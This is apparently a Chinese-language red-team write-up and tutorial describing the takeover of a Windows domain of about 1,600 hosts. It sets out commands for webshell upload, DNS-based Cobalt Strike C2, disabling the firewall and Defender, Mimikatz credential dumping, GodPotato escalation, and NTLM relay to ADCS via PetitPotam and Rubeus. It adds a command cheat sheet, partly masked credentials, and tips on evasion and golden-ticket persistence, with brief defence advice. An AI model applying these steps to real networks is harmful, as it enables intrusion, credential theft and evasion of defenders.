1.6K主机全域沦陷实录:从单点突破到域控接管的终极横向渗透链
字数 1742 2025-09-01 11:26:17

1.6K主机全域沦陷渗透实战教学文档

一、WEB打点阶段

1. 漏洞发现与利用

  • 目标系统:某CMS系统(具体版本未透露)
  • 利用漏洞:文件上传漏洞
  • 攻击步骤:
    • 通过搜索发现该CMS存在文件上传漏洞
    • 复制数据包进行测试,成功上传jsp文件
    • 上传webshell并连接
    • 确认权限:whoami显示nt authority\system(最高权限)

2. 环境确认

  • 中间件:Tomcat
  • 网络环境:ipconfig /all确认存在域环境
  • 网络限制:ping www.google.com确认机器不出网

二、域渗透阶段

1. 域环境确认

  • 使用命令:
    net time /domain
    net view
    

2. 不出网环境下的C2控制

方案一:DNS协议上线Cobalt Strike

  1. 基础设施准备

    • 购买VPS和域名
    • 配置DNS记录:
      • A记录指向VPS公网IP
      • NS记录指向A记录域名(建议配置两个)
  2. DNS配置验证

    ping A记录域名
    nslookup A记录域名
    
  3. CS监听器配置

    • 创建DNS协议监听器
    • DNS Host配置为A记录地址
  4. 木马执行与维护

    • 必须执行以下命令:
      checkin
      mode dns-txt
      
    • 生成Stageless payload(完整木马)

方案二:HTTP隧道(尝试未成功)

3. 信息收集与权限提升

  1. 杀软识别

    tasklist /svc
    
    • 识别到"哨兵一号"杀软和Windows Defender
  2. 远程桌面配置

    netstat -ano | findstr 3389  # 检查RDP状态
    wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1  # 开启RDP
    netsh advfirewall set allprofiles state off  # 关闭防火墙
    
  3. 横向移动准备

    • 通过HTTP隧道连接RDP
    • 关闭Windows Defender

4. 域环境分析

  • 使用工具:
    • Fscan:扫描网段,识别主机和web服务
    • 寻血猎犬(BloodHound):分析域内关系
    • 发现:
      • 1台主域控制器
      • 12台辅助域控制器
      • 11个域管理员账户

5. 凭据获取与横向移动

  1. Mimikatz使用

    mimikatz.exe
    privilege::debug
    sekurlsa::logonpasswords
    
    • 获取到多个域用户凭据
  2. 路径分析

    • 通过BloodHound分析"来自自有主体的最短路径"
    • 发现关键路径:
      RAMAK*** → PHQ**/FIN** → 域控
      BENSONP → WDL → PETRA*** → HERM*** → 域控
      
  3. 提权操作

    • 发现SeImpersonate特权:
      whoami /priv
      
    • 使用GodPotato提权:
      GodPotato.exe -cmd "cmd /c whoami"
      
      • 成功获取SYSTEM权限

三、域控接管阶段

1. ADCS漏洞利用

  1. 漏洞发现

    • 访问http://10.*.*.67/certfnsh/certfnsh.asp返回"Unauthorized"及NTLM代码
  2. 攻击链

    PetitPotam强制认证 → NTLM中继 → ADCS证书申请 → Kerberos票据 → 域控伪装
    

2. 具体实施步骤

  1. 端口转发

    • 使用PortBender将内网445转发到6445:
      PortBender.exe redirect 445 6445
      
    • CS端口转发:
      rportfwd_local 6445 <kali IP> 445
      
  2. NTLM中继

    proxychains -q python3 ntlmrelayx.py -t http://10.*.*.67/certfnsh/certfnsh.asp -smb2support --adcs --template 'domaincontroller'
    
  3. 强制认证触发

    proxychains -q python3 PetitPotam.py -d Pe*oup.local -u Petra**Repl -p 2hH***74 10.*.*.43 192.*.*.2
    
  4. 票据获取与使用

    • 使用Rubeus导入票据:
      Rubeus.exe asktgt /user:域控hostname$ /certificate:base64证书 /ptt
      
    • 使用Mimikatz导出域哈希

3. 最终成果

  • 成功控制整个域环境
  • 获取约1.6K台主机权限
  • 导出2000+用户哈希

四、问题与解决方案

1. 遇到的主要问题

  1. 哈希使用问题

    • 导出的NTLM哈希无法直接用于PTH(需要LM哈希)
    • 域管哈希制作的票据无法访问域控
  2. 免杀问题

    • "哨兵一号"杀软拦截
    • 无法上传免杀工具
  3. 环境变化

    • 管理员频繁更改密码和账户
    • 关键域管账户被删除

2. 解决方案建议

  1. 哈希利用

    • 尝试使用AES密钥而非NTLM哈希
    • 使用Kerberos票据而非直接PTH
  2. 免杀技巧

    • 使用内存加载无文件攻击
    • 定制化CS profile规避检测
  3. 持久化

    • 建立多个持久化通道
    • 获取黄金票据实现长期控制

五、防御建议

  1. ADCS防护

    • 禁用NTLM认证
    • 配置EPA(Extended Protection for Authentication)
  2. 权限管理

    • 实施最小权限原则
    • 定期审计域管权限
  3. 监控措施

    • 监控异常证书请求
    • 设置BloodHound告警
  4. 补丁管理

    • 及时修复PetitPotam等漏洞
    • 更新ADCS补丁

六、工具清单

工具名称 用途
Cobalt Strike C2控制
Mimikatz 凭据提取
BloodHound 域关系分析
Fscan 内网扫描
GodPotato 提权
PortBender 端口转发
Impacket(ntlmrelayx) NTLM中继
PetitPotam 强制认证触发
Rubeus Kerberos票据操作

七、关键命令速查

# 域环境检查
net time /domain
net view /domain

# 权限提升检查
whoami /priv

# RDP管理
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

# 防火墙管理
netsh advfirewall set allprofiles state off

# 端口转发
rportfwd_local [本地端口] [目标IP] [目标端口]
# NTLM中继
python3 ntlmrelayx.py -t http://target/certfnsh.asp --adcs --template 'domaincontroller'

# 强制认证
python3 PetitPotam.py -d 域名 -u 用户 -p 密码 目标IP 触发IP
# 票据操作
Rubeus.exe asktgt /user:主机名$ /certificate:base64 /ptt
1.6K主机全域沦陷渗透实战教学文档 一、WEB打点阶段 1. 漏洞发现与利用 目标系统:某CMS系统(具体版本未透露) 利用漏洞:文件上传漏洞 攻击步骤: 通过搜索发现该CMS存在文件上传漏洞 复制数据包进行测试,成功上传jsp文件 上传webshell并连接 确认权限: whoami 显示 nt authority\system (最高权限) 2. 环境确认 中间件:Tomcat 网络环境: ipconfig /all 确认存在域环境 网络限制: ping www.google.com 确认机器不出网 二、域渗透阶段 1. 域环境确认 使用命令: 2. 不出网环境下的C2控制 方案一:DNS协议上线Cobalt Strike 基础设施准备 : 购买VPS和域名 配置DNS记录: A记录指向VPS公网IP NS记录指向A记录域名(建议配置两个) DNS配置验证 : CS监听器配置 : 创建DNS协议监听器 DNS Host配置为A记录地址 木马执行与维护 : 必须执行以下命令: 生成Stageless payload(完整木马) 方案二:HTTP隧道(尝试未成功) 3. 信息收集与权限提升 杀软识别 : 识别到"哨兵一号"杀软和Windows Defender 远程桌面配置 : 横向移动准备 : 通过HTTP隧道连接RDP 关闭Windows Defender 4. 域环境分析 使用工具: Fscan:扫描网段,识别主机和web服务 寻血猎犬(BloodHound):分析域内关系 发现: 1台主域控制器 12台辅助域控制器 11个域管理员账户 5. 凭据获取与横向移动 Mimikatz使用 : 获取到多个域用户凭据 路径分析 : 通过BloodHound分析"来自自有主体的最短路径" 发现关键路径: 提权操作 : 发现SeImpersonate特权: 使用GodPotato提权: 成功获取SYSTEM权限 三、域控接管阶段 1. ADCS漏洞利用 漏洞发现 : 访问 http://10.*.*.67/certfnsh/certfnsh.asp 返回"Unauthorized"及NTLM代码 攻击链 : 2. 具体实施步骤 端口转发 : 使用PortBender将内网445转发到6445: CS端口转发: NTLM中继 : 强制认证触发 : 票据获取与使用 : 使用Rubeus导入票据: 使用Mimikatz导出域哈希 3. 最终成果 成功控制整个域环境 获取约1.6K台主机权限 导出2000+用户哈希 四、问题与解决方案 1. 遇到的主要问题 哈希使用问题 : 导出的NTLM哈希无法直接用于PTH(需要LM哈希) 域管哈希制作的票据无法访问域控 免杀问题 : "哨兵一号"杀软拦截 无法上传免杀工具 环境变化 : 管理员频繁更改密码和账户 关键域管账户被删除 2. 解决方案建议 哈希利用 : 尝试使用AES密钥而非NTLM哈希 使用Kerberos票据而非直接PTH 免杀技巧 : 使用内存加载无文件攻击 定制化CS profile规避检测 持久化 : 建立多个持久化通道 获取黄金票据实现长期控制 五、防御建议 ADCS防护 : 禁用NTLM认证 配置EPA(Extended Protection for Authentication) 权限管理 : 实施最小权限原则 定期审计域管权限 监控措施 : 监控异常证书请求 设置BloodHound告警 补丁管理 : 及时修复PetitPotam等漏洞 更新ADCS补丁 六、工具清单 | 工具名称 | 用途 | |---------|------| | Cobalt Strike | C2控制 | | Mimikatz | 凭据提取 | | BloodHound | 域关系分析 | | Fscan | 内网扫描 | | GodPotato | 提权 | | PortBender | 端口转发 | | Impacket(ntlmrelayx) | NTLM中继 | | PetitPotam | 强制认证触发 | | Rubeus | Kerberos票据操作 | 七、关键命令速查